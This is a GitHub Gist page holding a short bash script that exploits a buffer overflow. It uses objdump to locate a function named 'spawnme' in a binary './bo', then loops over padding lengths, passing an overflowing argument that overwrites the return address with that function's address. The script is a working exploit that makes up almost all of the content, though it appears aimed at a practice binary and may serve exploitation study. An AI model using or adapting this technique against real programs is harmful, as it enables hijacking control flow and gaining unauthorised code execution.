Last active
April 29, 2020 00:38
-
-
Save oxagast/fb7b28f5705b6c68b98052761e513b58 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### oxagast ### | |
# jump to an arbitrary function via buffer overflow | |
FUNCTION="spawnme"; | |
BINARY="./bo"; | |
OTHEROPTS="a"; | |
BUFFERLEN=16; | |
BUFOFF=`expr ${BUFFERLEN} + 30`; | |
FUNFUN="<${FUNCTION}>:"; | |
LOC=$(objdump -d ${BINARY} | grep ${FUNCTION} | cut -d ' ' -f 1 | cut -c 11- | fold -w 2 | tac | awk '{print gensub(/^0*/,"","")}' 2>/dev/null); | |
REVLOC=$(printf '\\x'%s $LOC); | |
for OFFSET in `seq ${BUFOFF}`; do | |
${BINARY} -A `printf -v str %-${OFFSET}s ' ';echo -n "${str// /A}";printf ${REVLOC}` | |
done; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment